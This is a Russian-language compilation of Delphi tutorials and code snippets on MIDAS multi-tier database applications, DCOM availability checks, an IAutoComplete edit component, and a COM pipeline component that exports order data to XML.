Применение данной схемы позволяет создать клиентское приложение, которое практически не требует настройки и сопровождения, вся логика работы с БД сосредоточена в среднем слое (сервере приложений). Соответственно при доработке алгоритмов доступа к БД необходимо лишь переустановить сервер приложений. MIDAS предназначен для обеспечения связи между слоем бизнес логики и презентационным слоем. Он позволяет организовать взаимодействие тонкого клиента с сервером приложений. При этом сервер приложений взаимодействует с реляционной БД (чаще всего данные хранятся именно в этой форме) как и обычные приложения работы с БД, разработанные в Delphi. Тонкий клиент для конечного пользователя ничем не отличается от обычного (толстого) клиента БД. Разница в том, что толстый клиент через BDE, ADO, компоненты прямого доступа к серверам БД и другие библиотеки работает с БД, а тонкий клиент взаимодействует с сервером приложений, используя MIDAS. Сервер приложений скрывает от клиента детали доступа и обработки БД. На компьютере с тонким клиентом не нужно устанавливать и настраивать BDE, ADO, клиентскую часть сервера БД. Необходимо лишь иметь небольшие по объему dll, которые легко переносить вместе с exe файлом тонкого клиента. В качестве тонкого клиента может использоваться и Web браузер. Разработка пользовательского интерфейса тоже мало чем отличается от обычного клиента. Особенности - необходимость размещения и настройки одного из компонентов доступа к серверу приложений (DCOMConnection, SocketConnection, WebConnection, CorbaConnection) и вместо Table, Query, StoredProc использовать компонент TСlientDataSet. Сервер приложений, как правило, имеет весьма несложный пользовательский интерфейс (чаще одну главную форму). Да он ему и не нужен. Сердце сервера приложений - это удаленный модуль данных (Remote Data Module). В зависимости от протокола связи TRemoteDataModule, MTSDataModule, TCORBADataModule. Внутри удаленного модуля данных расположены невизуальные компоненты доступа к данным. Каждому компоненту, который должен быть доступен тонкому клиенту необходимо сопоставить компонент - TDataSetProvider. Кроме того, для автоматического запуска серверов приложений по запросу клиента и реализации стратегии безопасности доступа бывает необходимо иметь дополнительную программу SCM (service control manager).

Создание трехуровневого приложения

Итак, создадим наше первое приложение для просмотра таблицы animals.dbf БД DBDEMOS. Как указывалось выше нам необходимо разработать сервер приложений и тонкого клиента (слой БД - это dbf файл).

Создание сервера приложений

Создадим новое приложение, используя пункт меню File / New Application. Созданная при этом форма Form1 будет главной формой сервера приложений. Далее создадим удаленный модуль данных, в него будут помещаться невизуальные компоненты доступа к данным и в нем сосредотачивается вся функциональность сервера приложений. Отличие его от обычного модуля данных в том, что удаленный модуль данных обеспечивает возможность тонким клиентам получать данные с сервера приложений. Выберем пункт меню File / New и в появившемся диалоге перейдем к закладке Miltitier

Выберем значок Remote Data Module и нажмем кнопку ОК (Замечание в случае использования CORBA необходимо выбирать CORBA Data Module). После этого на экране появляется диалог RemoteDataModuleWizard. Заполним поле CoClass Name базовым именем нашего удаленного модуля MyRDM. Обратите внимание, что к указанному имени будет добавлена буква T в наименовании класса и I в наименовании интерфейса для управления удаленным модулем. Остальные поля оставьте как есть (мы пишем простейшего сервера). Нажмем кнопку OK. В проект будет добавлен модуль Unit2, содержащий удаленный модуль данных. С закладки DataAccess добавим компонент TTable и свяжем его с таблицей animals.dbf алиаса DBDEMOS и активируем (свойства DatabaseName установим в DBDEMOS, TableName в animals.d, Active в true. Напомню, что порядок установки свойств важен). Теперь для того, чтобы сделать данную таблицу доступной тонкому клиенту необходим еще один компонент TDataSetProvider. Он расположен на закладке Midas. Чтобы связать DataSetProvider с TTable (как впрочем и с другими компонентами доступа к данным) установим свойство DataSet первого равным Table1. Результат наших усилий можно увидеть на рис.3. Осталось запустить сервер приложений на выполнение. Во-первых, чтобы увидеть наши труды, а во-вторых, чтобы при первом запуске сервер приложений произвел необходимые действия по своей регистрации в реестре.

Удаленный модуль данных
В принципе сервер приложений готов и работоспособен (без написания кода !!!), однако внесем последний штрих - счетчик подключений клиентов. Для этого на главную форму поместим два компонента TLabel. Свойство Caption одного установим в "Количество подключений", а второго в "0". Вид главной формы представлен на рис.4.

В обработчики события OnCreate удаленного модуля инкрементируем значение счетчика

with Form1.Label2 do
  Caption := IntToStr(StrToInt(Caption) + 1);

а в OnDestroy того же компонента декрементируем

with Form1.Label2 do
  Caption := IntToStr(StrToInt(Caption) - 1);

Создание тонкого клиента

Теперь настало время взяться за написание клиента. Создадим новое приложение, использующее в качестве протокола связи с сервером сокеты. Выбрав File / New Application в меню, на главную форму установим компонент TSocketConnection с закладки Midas. Данный компонент обеспечивает взаимодействие с сервером приложений. Далее нам необходимо запустить программу Borland Socket Server (расположена в Delphi/Bin/scktsrvr.exe). Данная программа обрабатывает запросы клиентов, передает их серверу приложений и запускает его, если раньше он не был запущен. Программы, выполняющие данные функции называют SCM (service control manager). Запуск Borland Socket Server необходим лишь в случае использования протокола сокетов. При запуске Borland Socket Server помещает свой значок в панель задач.

Настроим SocketConnection1. Значение свойства ServerName выберем из выпадающего списка и установим равным Project1.MyRDM, таким образом мы указываем к какому серверу приложений присоединяться. Затем необходимо указать на какой машине находится данный сервер. Для этого надо установить либо свойство Address в значение IP адреса или выбрать из списка значений свойства Host имя Вашего PC. Наконец, установим свойство Connected в true. О-о-пс, если все было выполнено верно, запустится сервер приложений и его счетчик клиентов будет установлен в 1. Для доступа к данным в тонком клиенте вместо TTable, TQuery используется TClientDataset. Разместим на главной форме его и мы, взяв с закладки Midas. Значение свойства RemoteServer установим в SocketConnection1, ProviderName в DataSetProvider1 (вспомним, что разместили его в удаленном модуле данных сервера приложений). Внимание, порядок установки этих свойств важен. Активизируем TClientDataSet, установив свойство Active в true. Далее порядок проектирования не отличается от разработки обычного приложения БД. Т.е. размещаем на форме DataSource, DBGrid, DBNavigator.Набор свойств, которые нужно установить приведен в таблице 1.

Таблица 1
DataSource1
DataSet ClientDataSet1
DBGrid1, DBNavigator
DataSource DataSource1

Если все выполнено правильно, то в сетке просмотра появятся данные. Вид главной формы приведен на рис.5. Ну вот, теперь можно запустить клиента. При этом на запущенном сервере приложений счетчик увеличится до2. Можно запустить еще несколько экземпляров клиентов, загнуть пальцы и сделать умное лицо. :)))

Какую из технологий (протоколов) распределенных вычислений лучше использовать с MIDAS ?
Протокол обеспечивает механизм вызова сервера приложений и соединения с ним клиента.
На данный момент Delphi поддерживает четыре протокола организации распределенных вычислений:

DCOM - технология Microsoft для создания и использования удаленных объектов автоматизации.
Достоинства:
а) Встроена в Windows 98,NT,2000. Может быть установлен в Windows 95, как дополнительная опция. Это не требует запуска дополнительных приложений на стороне сервера для управления подключением клиентов.
б) Реализован автоматический запуск сервера приложений при вызове его клиентом и автоматическое закрытие при отсутствии клиентов.
Недостатки:
а) Существуют проблемы с работой DCOM в сетях без контроллера домена NT. Поэтому использовать эту технологию в полной мере можно лишь при наличии в сети сервера с ОС Windows NT, 2000.
б) В DCOM нет встроенных средств обеспечения прозрачности положения сервера приложений (location transparency), т.е другими словами всегда нужно указывать на каком компьютере расположен сервер приложений. Данное ограничение можно сгладить применением SimpleObjectBroker.
в) Использовать DCOM можно лишь на платформе Windows.

Sockets - самый простой из протоколов организации распределенных вычислений. В его основе лежит использование сокетов TCP/IP.
Достоинства:
а) Требует минимум установленных компонентов ОС.
б) Может функционировать в любой сети Windows (c выходом Kylix надеюсь и в Linux), использующей TCP/IP.
Недостатки:
а) Требует постоянно запущенного на сервере менеджера подключений клиентов (ScktSrvr.exe).
б) Отсутствие механизмов обеспечения безопасности, другими словами все серверы приложений данной машины могут быть использованы с любого клиента, имеющего доступ по TCP/IP.

WebConnection - использует HTTP.
Достоинства:
а) Позволяет организовать вызов объекта с машины находящейся за пределами сегмента сети, защищенного файрволом.
Недостатки:
а) Требует установки на стороне клиента Wininet.dll (поставляется с IE 3 и выше).
б) Web сервер IIS 4 (и выше ) или Netscape enterprise 3.6 (и выше).

CORBA - использует соответствующую спецификацию OMG. Проще говоря CORBA - независимый от ОС стандарт взаимодействия объектов в распределенной системе.
Достоинства:
а) Независимость от ОС.
б) Наличие встроенного механизма обеспечения прозрачности положения сервера приложений. Т.е не нужно волноваться за то, где запущен сервер приложений, он будет автоматически найден.
в) Возможность выбора между автоматическим запуском сервера приложений при подключении клиента или запуска "вручную".
Недостатки:
а) Требуется установка дополнительного программного обеспечения (брокера объектных запросов - хотя бы на одной машине в сети).
б) Более сложная установка и настройка (по сравнению с DCOM) сервера приложений при автоматическом запуске.
в) Использование в Delphi COM для реализации CORBA

Таким образом можно дать следующие рекомендации по выбору протокола;
Если Вы новичок в MIDAS, то для изучения лучше всего используйте DCOM, установив сервер приложений и клиента на одной машине.
Если Ваша БД буде использоваться только с ОС Windows в сетях с контроллером домена Windows NT,2000 - используйте DCOM.
Если Вы не уверены, в том что в сети будет контроллер домена, то используйте либо CORBA, либо сокеты
В случае, если необходимо обеспечить запуск серверов приложений на любой машине в сети и конфигурация сети может меняться (или заранее неизвестны имена машин, где будут функционировать сервера приложений) лучше использовать CORBA.
Если Ваши сервера приложений должны быть доступны не только в локальной сети, но и "снаружи" - WebConnection подойдет лучше всего.
Когда Вы не хотите забивать себе голову (а надо бы) DCOM-ми, CORBA-ми, stab-ми, skeleton-ми, правами доступа итд SocketConnection поможет Вам быстро слабать многослойную БД.

Взято с http://delphiworld.narod.ru


Как узнать доступен ли DCOM?

function IsDCOMEnabled: Boolean;
var
  Ts: string;
  R: TRegistry;
begin
  r := TRegistry.Create;
  r.RootKey := HKEY_LOCAL_MACHINE;
  r.OpenKey('Software\Microsoft\OLE', False);
  ts := AnsiUpperCase(R.ReadString('EnableDCOM'));
  r.Free;
  Result := (Ts = 'Y');
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/

function IsDCOMInstalled: Boolean;
var
  OLE32: HModule;
begin
  Result := not (IsWin95 or IsWin95OSR2);
  if not Result then
  begin
    OLE32 := LoadLibrary(COLE32DLL);
    if OLE32 > 0 then
    try
      Result := GetProcAddress(OLE32, PChar('CoCreateInstanceEx')) <> nil;
    finally
      FreeLibrary(OLE32);
    end;
  end;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Дельфи IAutoComplete интерфейс

unit uAutoComplete;

interface

uses
  Windows, SysUtils, Controls, Classes, ActiveX, ComObj, stdctrls, Forms, Messages;

const
  IID_IAutoComplete: TGUID = '{00bb2762-6a77-11d0-a535-00c04fd7d062}';
  IID_IAutoComplete2: TGUID = '{EAC04BC0-3791-11d2-BB95-0060977B464C}';
  CLSID_IAutoComplete: TGUID = '{00BB2763-6A77-11D0-A535-00C04FD7D062}';
  IID_IACList: TGUID = '{77A130B0-94FD-11D0-A544-00C04FD7d062}';
  IID_IACList2: TGUID = '{470141a0-5186-11d2-bbb6-0060977b464c}';
  CLSID_ACLHistory: TGUID = '{00BB2764-6A77-11D0-A535-00C04FD7D062}';
  CLSID_ACListISF: TGUID = '{03C036F1-A186-11D0-824A-00AA005B4383}';
  CLSID_ACLMRU: TGUID = '{6756a641-de71-11d0-831b-00aa005b4383}';

type
  IACList = interface(IUnknown)
    ['{77A130B0-94FD-11D0-A544-00C04FD7d062}']
    function Expand(pszExpand: POLESTR): HResult; stdcall;
  end;

const
  {Options for IACList2}
  ACLO_NONE = 0; {don't enumerate anything}
  ACLO_CURRENTDIR = 1; {enumerate current directory}
  ACLO_MYCOMPUTER = 2; {enumerate MyComputer}
  ACLO_DESKTOP = 4; {enumerate Desktop Folder}
  ACLO_FAVORITES = 8; {enumerate Favorites Folder}
  ACLO_FILESYSONLY = 16; {enumerate only the file system}

type

  IACList2 = interface(IACList)
    ['{470141a0-5186-11d2-bbb6-0060977b464c}']
    function SetOptions(dwFlag: DWORD): HResult; stdcall;
    function GetOptions(var pdwFlag: DWORD): HResult; stdcall;
  end;

  IAutoComplete = interface(IUnknown)
    ['{00bb2762-6a77-11d0-a535-00c04fd7d062}']
    function Init(hwndEdit: HWND; const punkACL: IUnknown; pwszRegKeyPath,
      pwszQuickComplete: POLESTR): HResult; stdcall;
    function Enable(fEnable: BOOL): HResult; stdcall;
  end;

const
  {Options for IAutoComplete2}
  ACO_NONE = 0;
  ACO_AUTOSUGGEST = $1;
  ACO_AUTOAPPEND = $2;
  ACO_SEARCH = $4;
  ACO_FILTERPREFIXES = $8;
  ACO_USETAB = $10;
  ACO_UPDOWNKEYDROPSLIST = $20;
  ACO_RTLREADING = $40;

type

  IAutoComplete2 = interface(IAutoComplete)
    ['{EAC04BC0-3791-11d2-BB95-0060977B464C}']
    function SetOptions(dwFlag: DWORD): HResult; stdcall;
    function GetOptions(out pdwFlag: DWORD): HResult; stdcall;
  end;

  TEnumString = class(TInterfacedObject, IEnumString)
  private
    FStrings: TStringList;
    FCurrIndex: integer;
  public
    {IEnumString}
    function Next(celt: Longint; out elt; pceltFetched: PLongint): HResult; stdcall;
    function Skip(celt: Longint): HResult; stdcall;
    function Reset: HResult; stdcall;
    function Clone(out enm: IEnumString): HResult; stdcall;
    {VCL}
    constructor Create;
    destructor Destroy; override;
  end;

  TACOption = (acAutoAppend, acAutoSuggest, acUseArrowKey);
  TACOptions = set of TACOption;

  TACSource = (acsList, acsHistory, acsMRU, acsShell);

  TACEdit = class(TEdit)
  private
    FACList: TEnumString;
    FAutoComplete: IAutoComplete;
    FACEnabled: boolean;
    FACOptions: TACOptions;
    FACSource: TACSource;
    function GetACStrings: TStringList;
    procedure SetACEnabled(const Value: boolean);
    procedure SetACOptions(const Value: TACOptions);
    procedure SetACSource(const Value: TACSource);
  protected
    procedure CreateWnd; override;
    procedure DestroyWnd; override;
  public
    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;
  published
    property ACStrings: TStringList read GetACStrings;
    property ACEnabled: boolean read FACEnabled write SetACEnabled;
    property ACOptions: TACOptions read FACOptions write SetACOptions;
    property ACSource: TACSource read FACSource write SetACSource;
  end;

implementation

{ IUnknownInt }

function TEnumString.Clone(out enm: IEnumString): HResult;
begin
  Result := E_NOTIMPL;
  pointer(enm) := nil;
end;

constructor TEnumString.Create;
begin
  inherited Create;
  FStrings := TStringList.Create;
  FCurrIndex := 0;
end;

destructor TEnumString.Destroy;
begin
  FStrings.Free;
  inherited;
end;

function TEnumString.Next(celt: Integer; out elt; pceltFetched: PLongint): HResult;
var
  I: Integer;
  wStr: WideString;
begin
  I := 0;
  while (I < celt) and (FCurrIndex < FStrings.Count) do
  begin
    wStr := FStrings[FCurrIndex];
    TPointerList(elt)[I] := CoTaskMemAlloc(2 * (Length(wStr) + 1));
    StringToWideChar(wStr, TPointerList(elt)[I], 2 * (Length(wStr) + 1));
    Inc(I);
    Inc(FCurrIndex);
  end;
  if pceltFetched <> nil then
    pceltFetched^ := I;
  if I = celt then
    Result := S_OK
  else
    Result := S_FALSE;
end;

function TEnumString.Reset: HResult;
begin
  FCurrIndex := 0;
  Result := S_OK;
end;

function TEnumString.Skip(celt: Integer): HResult;
begin
  if (FCurrIndex + celt) <= FStrings.Count then
  begin
    Inc(FCurrIndex, celt);
    Result := S_OK;
  end
  else
  begin
    FCurrIndex := FStrings.Count;
    Result := S_FALSE;
  end;
end;

{ TACEdit }

constructor TACEdit.Create(AOwner: TComponent);
begin
  inherited;
  FACList := TEnumString.Create;
  FACEnabled := true;
  FACOptions := [acAutoAppend, acAutoSuggest, acUseArrowKey];
end;

procedure TACEdit.CreateWnd;
var
  Dummy: IUnknown;
  Strings: IEnumString;
begin
  inherited;
  if HandleAllocated then
  begin
    try
      Dummy := CreateComObject(CLSID_IAutoComplete);
      if (Dummy <> nil) and (Dummy.QueryInterface(IID_IAutoComplete, FAutoComplete) =
        S_OK) then
      begin
        case FACSource of
          acsHistory:
            Strings := CreateComObject(CLSID_ACLHistory) as IEnumString;
          acsMRU:
            Strings := CreateComObject(CLSID_ACLMRU) as IEnumString;
          acsShell:
            Strings := CreateComObject(CLSID_ACListISF) as IEnumString;
        else
          Strings := FACList as IEnumString;
        end;
        if S_OK = FAutoComplete.Init(Handle, Strings, nil, nil) then
        begin
          SetACEnabled(FACEnabled);
          SetACOptions(FACOptions);
        end;
      end;
    except
      {CLSID_IAutoComplete is not available}
    end;
  end;
end;

destructor TACEdit.Destroy;
begin
  FACList := nil;
  inherited;
end;

procedure TACEdit.DestroyWnd;
begin
  if (FAutoComplete <> nil) then
  begin
    FAutoComplete.Enable(false);
    FAutoComplete := nil;
  end;
  inherited;
end;

function TACEdit.GetACStrings: TStringList;
begin
  Result := FACList.FStrings;
end;

procedure TACEdit.SetACEnabled(const Value: boolean);
begin
  if (FAutoComplete <> nil) then
  begin
    FAutoComplete.Enable(FACEnabled);
  end;
  FACEnabled := Value;
end;

procedure TACEdit.SetACOptions(const Value: TACOptions);
const
  Options: array[TACOption] of integer = (ACO_AUTOAPPEND, ACO_AUTOSUGGEST,
    ACO_UPDOWNKEYDROPSLIST);
var
  Option: TACOption;
  Opt: DWORD;
  AC2: IAutoComplete2;
begin
  if (FAutoComplete <> nil) then
  begin
    if S_OK = FAutoComplete.QueryInterface(IID_IAutoComplete2, AC2) then
    begin
      Opt := ACO_NONE;
      for Option := Low(Options) to High(Options) do
      begin
        if (Option in FACOptions) then
          Opt := Opt or DWORD(Options[Option]);
      end;
      AC2.SetOptions(Opt);
    end;
  end;
  FACOptions := Value;
end;

procedure TACEdit.SetACSource(const Value: TACSource);
begin
  if FACSource <> Value then
  begin
    FACSource := Value;
    RecreateWnd;
  end;
end;

initialization
finalization
end.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Pipeline Components.

Эта область разработки возникла в моем текущем проекте. Pipeline components - это COM-объекты, которые выполняются в pipeline, который в свою очередь вызывается на выполнение обычно через ASP. Pipeline представляет собой цепочку pipeline component, выполняющихся последовательно один за одним. На вход pipeline передается объект IDictionary, который передается всем компонентам в цепочке. Результатом работы этих компонент может быть видоизмененный IDictionary, либо еще чего-нибудь.

Описание.

Pipeline компоненты должны поддерживать интерфейс IPipelineComponent, а также несколько других. Обо всех будет рассказано поподробнее ниже.

Представим себе, что мы хотим создать компонент, который сбрасывает содержимое IDictionary в xml-файл на диск. Причем мы хотим иметь возможность задавать имя этого файла в Properties Page внутри Pipeline Editor. Для ознакомления с Pipeline Editor советую обратиться на сайт Microsoft.

В первую очередь, для создания компонента в Delphi необходимо создать ActiveX Library. Для этого выполним команду File|New -> Activex tabsheet -> ActiveX Library. Затем там добавим Automation Object. Назовем объект DumpOrderToXml. Добавим методы SetXmlFilename и GetXmlFilename. Результатом должны быть следующие объявления:

function SetXmlFilename(XmlFileName: WideString): HResult [dispid $00000001]; stdcall;

function GetXmlFileName(retval XmlFileName: WideString): HResult [dispid $00000002]; stdcall;

Для дальнейшей успешной работы Вы должны иметь на диске следующие файлы: COMMERCELib_TLB.pas, MSCSAspHelpLib_TLB.pas, MSCSCoreLib_TLB.pas, PIPELINELib_TLB.pas. Их можно сгенерировать с помощью tipe library editor, предоставляемого Delphi, либо скачать у меня. Также необходимо иметь на диске ComPUtil.pas и PipeConsts.pas файлы, которые есть у меня.

Delphi поможет Вам создать макет модуля с классом TDumpOrderToXml. В объявление этого класса добавьте дополнительные интерфейсы и соответсвующие методы для их реализации:

type
  TDumpOrderToXml = class(TAutoObject, IDumpOrderToXml, IPipelineComponent, ISpecifyPropertyPages, IPersistStreamInit)
  private
    FXmlFileName: WideString;
  protected
{ IDumpOrderToXml methods }
    function GetXmlFileName(out XmlFileName: WideString): HResult; stdcall;
    function SetXmlFilename(const XmlFileName: WideString): HResult; stdcall;
{ IPipelineComponent methods }
    function EnableDesign(fEnable: Integer): HResult; stdcall;
    function Execute(const pdispOrder, pdispContext: IDispatch;
      lFlags: Integer; out plErrorLevel: Integer): HResult; stdcall;
{ ISpecifyPropertyPages methods }
    function GetPages(out pages: TCAGUID): HResult; stdcall;
{ IPersistStreamInit methods }
    function GetClassID(out classID: TCLSID): HResult; stdcall;
    function IsDirty: HResult; stdcall;
    function Load(const stm: IStream): HResult; stdcall;
    function Save(const stm: IStream; fClearDirty: BOOL): HResult; stdcall;
    function GetSizeMax(out cbSize: Largeint): HResult; stdcall;
    function InitNew: HResult; stdcall;
  end;

Интерфейс IDumpOrderToXml предоставляет нам возможность задавать и получать имя xml-файла для хранения на диске. Интерфейс IPipelineComponent - стержневой для класса, он позволяет запустить компонент на выполнение с помощью метода Execute. Интерфейс ISpecifyPropertyPage позволяет задать classid для Property Page нашего нового класса. Интерфейс IPersistStreamInit позволяет хранить введеные параметры с помощью Pipeline Editor в файле .pcf.

Приступим к реализации этих методов. Методы GetXmlFilename и SetXmlFilename достаточно просты - они просто читают (пишут) значение из (в) поле FXmlFileName. Метод EnableDesing вызывается для уведомления класса, что редактор переводит его в режим дизайна. В принципе крутые компоненты могут что-либо делать в этот момент. Нам это не нужно, поэтому просто вернем S_OK. Точно также поступим с методами InitNew и IsDirty. Это несущественные методы, которые в принципе можно реализовать более детально, но не для нас.

Методы Save и Load позволяют записать в поток наш параметр - имя xml-файла. В принципе ничего сложного в них нет, поэтому привожу код без комментариев

function TDumpOrderToXml.Save(const stm: IStream;
  fClearDirty: BOOL): HResult;
var OleStream: TOleStream;
  FileNameLen: Byte;
begin
  OleStream := TOleStream.Create(stm);
  try
    FileNameLen := Length(FXmlFileName);
    OleStream.Write(FileNameLen, 1);
    OleStream.Write(FXmlFileName[1], FileNameLen * Sizeof(WideChar));
  finally
    OleStream.Free;
  end;
  Result := S_OK;
end;

function TDumpOrderToXml.Load(const stm: IStream): HResult;
var OleStream: TOleStream;
  FileNameLen: Byte;
begin
  OleStream := TOleStream.Create(stm);
  try
    OleStream.Read(FileNameLen, 1);
    SetLength(FXmlFileName, FileNameLen);
    OleStream.Read(FXmlFileName[1], FileNameLen * Sizeof(WideChar));
  finally
    OleStream.Free;
  end;
  Result := S_OK;
end;

Метод GetClassID позволяет вернуть наш classid для внешнего потребителя. Ниже приведенное решение в принципе универсальное для любого класса.

function TDumpOrderToXml.GetClassID(out classID: TCLSID): HResult;
begin
  classID := Factory.ClassID;
  Result := S_OK;
end;

Метод GetSizeMax возвращает размер, который наш класс хочет занять в потоке. Пусть это будет 255 widechar-ов.

function TDumpOrderToXml.GetSizeMax(out cbSize: Largeint): HResult;
begin
  cbSize := 255 * sizeof(WideChar) + 1;
  Result := S_OK;
end;

Теперь приступим к реализации метода Execute. В первую очередь нам необходимо получить ссылку на IDictionary из параметров метода. Для этого воcпользуемся функцией GetDictFromDispatch из модуля ComPUtil.pas. Затем вызовем функцию ExportDictionaryToXml, сохраним результат во временной строке, представляющей собой xml-текст и запишем эту строку в файл на диске.

function TDumpOrderToXml.Execute(const pdispOrder, pdispContext: IDispatch;
  lFlags: Integer; out plErrorLevel: Integer): HResult;
var
  hFile: Integer;
  tmpXML: WideString;
  Order: IDictionary;
  tmpOutXml: string;
begin
  try
    tmpXML := '';
    if GetDictFromDispatch(pdispOrder, Order) = S_OK then
      begin
        ExportDictionaryToXML(Order, tmpXML);
        tmpXML := '<SO>' + tmpXML + '</SO>';
      end;
    tmpOutXml := tmpXML;
    hFile := FileCreate(string(FXmlFileName));
    FileWrite(hFile, tmpOutXml[1], Length(tmpOutXML));
    FileClose(hFile);
  finally
    Result := S_OK;
    Order := nil;
  end;
end;

Как видим, метод довольно несложный - вся нагрузка ложится на метод ExportDictionaryToXml. Рассмотрим его поподробнее. Как известно, dictionary представляет собой список именованных вариантов. Вариант сам по себе может быть IDictionary, ISimpleList или другой интерфейс. Для перечисления своих элементов dictionary поддерживает интерфейс IEnumVARIANT. Соотвественно, наша задача - взять IEnumVARIANT, пробежаться по его элементам и сохранить их имена и значение в строке.

Result := E_FAIL;
hr := InitKeyEnumInDict(Dict, Enum);
if hr = S_OK then
  begin

    repeat
      hr := GetNextKeyInDict(Enum, Key);
      if hr <> S_OK then Break;
      hr := GetDictValueVariant(Dict, LPCWSTR(Key), ItemValue);
      if hr <> S_OK then Break;

      case VarType(ItemValue) of
        ...
      else
        Break;
      end;

    until hr <> S_OK;
  end;

XmlStr := Res;
Result := S_OK;

Основное место в теле метода занимает оператор case. В нем определяются обычные значения варианта и сложные, такие как интерфейсы. Для обычных типов обработка будет такая:

Res := Res + Format('<%s>%s</%s>', [string(Key), string(ItemValue), string(Key)]);

Для типа varUnknown обработка будет еще проще. Понятно, что для более продвинутой информации эту обработку можно расширить:

Res := Res + Format('<%s>IUnknown</%s>',[string(Key), string(Key)]);

Наиболее сложная обработка для типа varDispatch. Здесь нам необходимо убедится, что элемент является либо IDictionary, либо ISimpleList. Для других случаев используем тоже самое, как для varUnknown:

if GetDictFromDispatch(ItemValue, NewDict) = S_OK then
  begin
    if ExportDictionaryToXML(NewDict, NewXml) = S_OK then
      begin
        Res := Res + Format('<%s type="Dictionary">%s</%s>',
          [string(Key), string(NewXml), string(Key)]);
      end
    else
      begin
        Exit;
      end;
  end
else if GetSimpleListFromDispatch(ItemValue, NewList) = S_OK then
  begin
    if ExportSimpleListToXML(NewList, NewXml) = S_OK then
      begin
        Res := Res + Format('<%s type="SimpleList">%s</%s>',
          [string(Key), string(NewXml), string(Key)]);
      end
    else
      begin
        Exit;
      end;
  end
else
  begin
    Res := Res + Format('<%s>IDispatch</%s>',
      [string(Key), string(Key)]);
  end;

Поскольку вариант может быть другим IDictionary, то в результате получим рекурсивный алгоритм. Замечу, что в случае ISimpleList вызывается еще один метод - ExportSimpleListToXml. Его реализация достаточно проста. Необходимо пробежаться по элементам списка, каждый из которых IDictionary, и вызывать ExportDictioanryToXml:

Result := E_FAIL;
hr := GetNumItems(List, Count);
if hr <> S_OK then Exit;

for I := 0 to Count - 1 do
  begin
    if GetNthItem(List, I, NewDict) = S_OK then
      begin
        if ExportDictionaryToXML(NewDict, NewXml) = S_OK then
          begin
            Res := Res + Format('<LISTITEM%d>'#13#10'%s</LISTITEM%d>'#13#10,
              [I, string(NewXml), I]);
          end
        else
          begin
            Exit;
          end;
      end;
  end;

XmlStr := Res;
Result := S_OK;

Вот собственно и вся реализация метода Execute. Для полной красоты картины, нам необходимо научиться редактировать поле FXmlFilename в Pipeline редакторе. Для этого добавим в проект Property Page. На форму добавим из палитры Textbox, Label, Button и SaveDialog.

В обработчик нажатия кнопки добавим код по вызову SaveDialog:

if SaveDialog1.Execute then
  begin
    Edit1.Text := SaveDialog1.FileName;
  end;

Для реализации поведения Property Page, мы должны реализовать два метода UpdatePropertyPage и UpdateObject. Первый метод восстанавливает значение из объекта в textbox. Второй, наоборот, записывает значение из textbox в объект.

procedure TDumpToXMLPropertyPage.UpdatePropertyPage;
var StrXmlFilename: WideString;
begin
{ Update your controls from OleObject }
  (OleObjects.First as IDumpOrderToXml).GetXmlFileName(StrXmlFilename);
  Edit1.Text := StrXmlFilename;
end;

procedure TDumpToXMLPropertyPage.UpdateObject;
var StrXmlFilename: WideString;
begin
{ Update OleObject from your controls }
  StrXmlFilename := Edit1.Text;
  (OleObjects.First as IDumpOrderToXml).SetXmlFileName(StrXmlFilename);
end;

Для того, чтобы Pipeline Editor знал, что у компонента есть дополнительные property-странички, необходимо реализовать метод GetPages у нашего класса.

function TDumpOrderToXml.GetPages(out pages: TCAGUID): HResult;
begin
  pages.cElems := 1;
  pages.pElems := CoTaskMemAlloc(sizeof(TGUID));
  if pages.pElems = nil then
    begin
      Result := E_OUTOFMEMORY;
    end
  else
    begin
      pages.pElems^[0] := Class_DumpToXMLPropertyPage;
      Result := S_OK;
    end;
end;

Этот метод занимается тем, что наполняет структуру, в которой хранятся все guid-ы наших property-страничек. В нашем случае это одна страничка - Class_DumpToXmlPropertyPage. Этот guid генерируется автоматически средой, когда мы создаем новую property page.

Теперь подошел черед модифицировать .dpr файл. В нем указывается экспортная функция DllRegisterServer, которую надо переделать:

function DllRegisterServer: HResult;
begin
  Result := ComServ.DllRegisterServer;
  if Result = S_OK then
    begin

{ Register DumpOrderToXml class }
      Result := RegisterCATID(CLASS_DumpOrderToXml, CATID_MSCSPIPELINE_COMPONENT);
      if Result >= 0 then
        begin
          Result := RegisterCATID(CLASS_DumpOrderToXml, CATID_MSCSPIPELINE_ANYSTAGE);
        end;

{ Here you should register others pipeline components }
    end;
end;

В этой функции указывается, что надо зарегистрировать в системе pipeline component, и что этот компонент может принадлежать любому pipeline stage.

На этом разработка закончена. Осталось откомпилировать и зарегистриовать dll. Это можно сделать через командную строку: regsvr32 testpipelines.dll

Взято из http://forum.sources.ru


Midas и COM. Советы и Приемы

Автор: Bill Todd
Перевод: Михаил Голованов

Статья показывает, как писать приложения, использующие несколько модулей, которые связываются через COM и совместно используют Midas сервер. Освещаются вопросы перемещения файлов, массивов и других структур данных c использованием COM.

Вы можете не нуждаться в распределенных приложениях, но вы нуждаетесь в Midas

Borland разрабатывал Midas как инструмент для создания многоуровневых распределенных приложений. Но Midas - лучший способ построить любое приложение баз данных, особенно большое приложение, даже, когда Вы не нуждаетесь в распределенной базе данных.

Транзакции в настольных базах данных

Если Вы работаете с Paradox или Dbase таблицами, и нуждаетесь в поддержке транзакций, Вы ограничены, потому что единственный уровень изоляции транзакции read uncommited (также грязное чтение). Вдобавок ко всему, невозможно произвести откат при возникновении аварийной ситуации , т.е аварийный отказ может оставлять вашу базу данных в несогласованном состоянии. Однако, если Вы используете ClientDataSet, Вы действительно получаете транзакции и автоматический откат в аварийных ситуациях.

ClientDataSets имеет копию данных в памяти и Вы фактически работаете с локальной копией базы. Вы не будете видеть вставки, удаления или модификаций, сделанных другими пользователями или другими наборами данных в том же самом приложении. Это дает Вам обеспечение изоляции транзакции. Независимо от того сколько раз Вы просматриваете ваши данные, Вы будете всегда видеть снимок данных, с которым Вы начали работать.

